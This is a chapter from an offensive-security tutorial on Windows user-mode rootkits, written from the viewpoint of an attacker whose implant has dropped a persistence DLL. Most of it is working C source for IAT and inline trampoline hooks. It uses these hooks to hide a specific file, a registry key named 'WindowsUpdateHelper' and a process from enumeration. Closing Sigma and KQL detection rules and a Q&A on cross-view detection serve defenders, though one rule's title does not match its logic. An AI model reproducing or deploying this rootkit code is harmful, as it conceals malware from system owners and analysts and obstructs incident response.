Chapter 167

Rootkit Techniques: User-Mode Hooking

User-mode rootkits intercept API calls to hide artifacts — files, processes, registry keys, network connections — from applications that query the system. By hooking the functions that enumerate these objects, the rootkit filters the results before they reach the caller. This chapter implements IAT hooking, inline trampoline hooking, and VEH-based hooking, then builds file and process hiding on top of them — with the detection approach for each.

Scenario

Your implant has written a persistence DLL to C:\Windows\Temp\wuaueng2.dll. Any analyst running dir C:\Windows\Temp from the infected process's context (or from a process that has loaded your rootkit DLL) should not see that file. You need to hook FindFirstFileW and FindNextFileW in any process that loads your DLL, filtering out your file from enumeration results.

Hook Taxonomy

User-mode hook mechanisms: IAT Hook: Overwrites the Import Address Table entry for a target function. Only affects callers that use the IAT (statically linked imports). Does NOT affect callers who resolved the function via GetProcAddress. Easy to install; easy to detect (IAT walk vs EAT address comparison). Inline (Trampoline) Hook: Overwrites the first 5-14 bytes of the target function with a JMP. Affects ALL callers of the function, regardless of how they resolved it. Stores original bytes in a "trampoline" for the hook to call through. More complex; detected by comparing in-memory function bytes to disk. VEH Hook (hardware breakpoint): Sets a debug register (DR0-DR3) to the target function address. No code modification — not detectable by code hash comparison. Requires a VEH to handle the resulting exception and intercept control. Limited to 4 simultaneous hooks (4 debug registers). IAT vs Inline — scope: IAT hook: per-module scope — only affects one module's calls. Inline hook: system-wide for the process — all callers affected. For a rootkit DLL injected into a target: inline hook is required to intercept ALL callers within the process, including those using GetProcAddress to resolve the function dynamically.

IAT Hooking

// IAT hook: replace the stored function pointer in the target module's
// Import Address Table. When the module calls the function via IAT,
// our hook runs instead.

#include <windows.h>
#include <winternl.h>

typedef HANDLE(WINAPI* pFindFirstFileW)(LPCWSTR, LPWIN32_FIND_DATAW);
static pFindFirstFileW g_origFindFirst = NULL;
static const WCHAR* HIDE_FILE = L"wuaueng2.dll";

PVOID* FindIatEntry(HMODULE hModule, const char* dllName,
                     const char* funcName) {
    PBYTE base = (PBYTE)hModule;
    PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(base +
        ((PIMAGE_DOS_HEADER)base)->e_lfanew);
    PIMAGE_IMPORT_DESCRIPTOR imp = (PIMAGE_IMPORT_DESCRIPTOR)(base +
        nt->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    for (; imp->Name; imp++) {
        if (_stricmp((char*)(base + imp->Name), dllName) != 0) continue;

        PIMAGE_THUNK_DATA iat = (PIMAGE_THUNK_DATA)(base + imp->FirstThunk);
        PIMAGE_THUNK_DATA oft = (PIMAGE_THUNK_DATA)(base + imp->OriginalFirstThunk);

        for (SIZE_T i = 0; oft[i].u1.AddressOfData; i++) {
            PIMAGE_IMPORT_BY_NAME ibn = (PIMAGE_IMPORT_BY_NAME)(base +
                oft[i].u1.AddressOfData);
            if (strcmp((char*)ibn->Name, funcName) == 0)
                return (PVOID*)&iat[i].u1.Function;
        }
    }
    return NULL;
}

BOOL InstallIatHook(HMODULE target, const char* dll,
                     const char* func, PVOID hookFn) {
    PVOID* entry = FindIatEntry(target, dll, func);
    if (!entry) return FALSE;

    g_origFindFirst = (pFindFirstFileW)*entry;

    DWORD old;
    VirtualProtect(entry, sizeof(PVOID), PAGE_EXECUTE_READWRITE, &old);
    *entry = hookFn;
    VirtualProtect(entry, sizeof(PVOID), old, &old);
    return TRUE;
}

// Hook function — filters our hidden file from FindFirstFileW results
HANDLE WINAPI HookFindFirstFileW(LPCWSTR lpFileName,
                                   LPWIN32_FIND_DATAW lpFindFileData) {
    HANDLE h = g_origFindFirst(lpFileName, lpFindFileData);
    if (h != INVALID_HANDLE_VALUE) {
        if (_wcsicmp(lpFindFileData->cFileName, HIDE_FILE) == 0) {
            // Our file — advance to next entry transparently
            if (!FindNextFileW(h, lpFindFileData)) {
                FindClose(h);
                return INVALID_HANDLE_VALUE;
            }
        }
    }
    return h;
}

Inline (Trampoline) Hooking

// Inline hook: patch the first 14 bytes of the target function with
// an indirect JMP via RIP-relative pointer (x64: FF 25 + offset).
// Stores original bytes in a trampoline so the hook can call through.

#define HOOK_SIZE 14  // FF 25 00 00 00 00 + 8-byte absolute address

typedef struct {
    PVOID  target;
    BYTE   original[HOOK_SIZE];
    PVOID  trampoline;
} HookEntry;

BOOL InlineHook(PVOID target, PVOID hookFn, HookEntry* entry) {
    entry->target = target;
    memcpy(entry->original, target, HOOK_SIZE);

    // Build trampoline: [original 14 bytes] + [JMP back to target+14]
    entry->trampoline = VirtualAlloc(NULL, HOOK_SIZE + HOOK_SIZE,
                                      MEM_COMMIT|MEM_RESERVE,
                                      PAGE_EXECUTE_READWRITE);
    memcpy(entry->trampoline, entry->original, HOOK_SIZE);

    // JMP to target+14 after trampoline
    PBYTE tptr = (PBYTE)entry->trampoline + HOOK_SIZE;
    tptr[0] = 0xFF; tptr[1] = 0x25;
    *(DWORD*)(tptr+2) = 0;  // RIP-relative offset = 0 (points to next 8 bytes)
    *(UINT64*)(tptr+6) = (UINT64)target + HOOK_SIZE;

    // Write hook: FF 25 00000000 + address of hookFn
    DWORD old;
    VirtualProtect(target, HOOK_SIZE, PAGE_EXECUTE_READWRITE, &old);
    PBYTE p = (PBYTE)target;
    p[0] = 0xFF; p[1] = 0x25;
    *(DWORD*)(p+2) = 0;
    *(UINT64*)(p+6) = (UINT64)hookFn;
    VirtualProtect(target, HOOK_SIZE, old, &old);
    return TRUE;
}

VOID RemoveInlineHook(HookEntry* entry) {
    DWORD old;
    VirtualProtect(entry->target, HOOK_SIZE, PAGE_EXECUTE_READWRITE, &old);
    memcpy(entry->target, entry->original, HOOK_SIZE);
    VirtualProtect(entry->target, HOOK_SIZE, old, &old);
}

Hiding Files and Registry Keys

// Hook FindNextFileW as well — FindFirstFileW returns the first match,
// FindNextFileW advances. Must filter from BOTH to hide a file completely.

typedef BOOL(WINAPI* pFindNextFileW)(HANDLE, LPWIN32_FIND_DATAW);
static pFindNextFileW g_origFindNext = NULL;

BOOL WINAPI HookFindNextFileW(HANDLE hFindFile,
                                LPWIN32_FIND_DATAW lpFindFileData) {
    while (g_origFindNext(hFindFile, lpFindFileData)) {
        if (_wcsicmp(lpFindFileData->cFileName, HIDE_FILE) != 0)
            return TRUE;  // not our hidden file — return it
        // it IS our hidden file — skip and try next
    }
    return FALSE;  // enumeration exhausted
}

// Registry hiding: hook RegEnumKeyExW and RegEnumValueW
// Filter out our persistence key from any enumeration.
typedef LONG(WINAPI* pRegEnumKeyExW)(HKEY, DWORD, LPWSTR, LPDWORD,
    LPDWORD, LPWSTR, LPDWORD, PFILETIME);
static pRegEnumKeyExW g_origRegEnum = NULL;
static const WCHAR* HIDE_REGKEY = L"WindowsUpdateHelper";

LONG WINAPI HookRegEnumKeyExW(HKEY hKey, DWORD dwIndex, LPWSTR lpName,
    LPDWORD lpcchName, LPDWORD lpReserved, LPWSTR lpClass,
    LPDWORD lpcchClass, PFILETIME lpftLastWriteTime) {
    while (TRUE) {
        LONG r = g_origRegEnum(hKey, dwIndex, lpName, lpcchName,
                               lpReserved, lpClass, lpcchClass,
                               lpftLastWriteTime);
        if (r != ERROR_SUCCESS) return r;
        if (_wcsicmp(lpName, HIDE_REGKEY) == 0) {
            dwIndex++;  // skip our key, try next index
            continue;
        }
        return r;
    }
}

Hiding Processes via NtQuerySystemInformation Hook

// Process enumeration (tasklist, Task Manager, Process Explorer) calls
// NtQuerySystemInformation(SystemProcessInformation = 5) which returns a
// linked list of SYSTEM_PROCESS_INFORMATION structures.
// Hook this function and unlink our process from the list.

typedef NTSTATUS(NTAPI* pNtQSI)(ULONG, PVOID, ULONG, PULONG);
static pNtQSI g_origNtQSI = NULL;
static DWORD g_hidePid = 0;  // PID to hide

typedef struct _SPI {
    ULONG          NextEntryOffset;
    ULONG          NumberOfThreads;
    BYTE           Reserved1[48];
    UNICODE_STRING ImageName;
    LONG           BasePriority;
    HANDLE         UniqueProcessId;
    // ... more fields
} SPI;

NTSTATUS NTAPI HookNtQSI(ULONG cls, PVOID buf, ULONG len, PULONG ret) {
    NTSTATUS st = g_origNtQSI(cls, buf, len, ret);
    if (!NT_SUCCESS(st) || cls != 5) return st;

    SPI* prev = NULL;
    SPI* cur  = (SPI*)buf;
    while (TRUE) {
        if ((DWORD)(ULONG_PTR)cur->UniqueProcessId == g_hidePid) {
            if (prev) {
                if (cur->NextEntryOffset == 0)
                    prev->NextEntryOffset = 0;  // last entry
                else
                    prev->NextEntryOffset += cur->NextEntryOffset;
            }
        } else {
            prev = cur;
        }
        if (cur->NextEntryOffset == 0) break;
        cur = (SPI*)(((PBYTE)cur) + cur->NextEntryOffset);
    }
    return st;
}

Detection Engineering

title: IAT Modification Detected — Function Pointer Outside Module
logsource:
  product: windows
  category: image_load
detection:
  selection:
    EventID: 7  # Sysmon image load
    Signed: 'false'
    ImageLoaded|startswith:
      - 'C:\Users\'
      - 'C:\Windows\Temp\'
  condition: selection
level: high

title: Process Count Discrepancy (userland vs kernel enumerate)
logsource:
  product: windows
  category: process_creation
detection:
  selection:
    CommandLine|contains:
      - 'tasklist'
      - 'Get-Process'
  condition: selection
level: informational
note: Cross-reference against direct driver enumeration to detect hidden processes

-- MDE KQL: DLL loaded from temp path into long-running processes
DeviceImageLoadEvents
| where FolderPath has_any (@"\Temp\", @"\AppData\Local\Temp\")
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ (
    "explorer.exe", "svchost.exe", "lsass.exe",
    "winlogon.exe", "RuntimeBroker.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
          InitiatingProcessFileName, SHA256

Q&A

Why do user-mode rootkits fail against modern EDRs even when the hooks are installed correctly?

User-mode rootkits are effective against user-mode enumeration tools — tasklist.exe, Windows Explorer, registry editors — because those tools call the same hooked APIs. The rootkit hides the artifact from any process that calls through the hooked API. The fundamental limitation is scope: the hook only exists in processes that have loaded the rootkit DLL. Any process that doesn't carry the rootkit will see the unhidden truth.

EDRs sidestep user-mode hooks entirely by operating from kernel mode. The EDR's kernel driver can enumerate processes by walking the EPROCESS linked list directly (or via PsGetNextProcess), enumerate files by calling kernel file system APIs, and read registry hives via the kernel registry API — none of which pass through the user-mode NTDLL stubs where the rootkit hooks live. This creates a permanent cross-view discrepancy: the kernel sees the real process, the user-mode tools see nothing. MDE's DeviceProcessEvents table shows process creation events generated at the kernel callback level (PsSetCreateProcessNotifyRoutine) — these fire before any user-mode hook could possibly run, and cannot be suppressed by a user-mode rootkit.

The specific detection technique is cross-view enumeration: compare the process list visible via NtQuerySystemInformation (which the rootkit controls) against the list from a kernel-level source. Any process in the kernel list but absent from the NtQSI list is hidden by a user-mode rootkit. This is the exact algorithm that tools like Process Hacker, Volatility, and EDR kernel drivers use. For files, the cross-view compares the directory listing from a kernel-level file system query against the Win32 FindFirstFile enumeration. A file visible at kernel level but absent from the Win32 enumeration indicates a user-mode file-hiding rootkit. Modern EDRs perform these cross-view checks periodically and alert on discrepancies.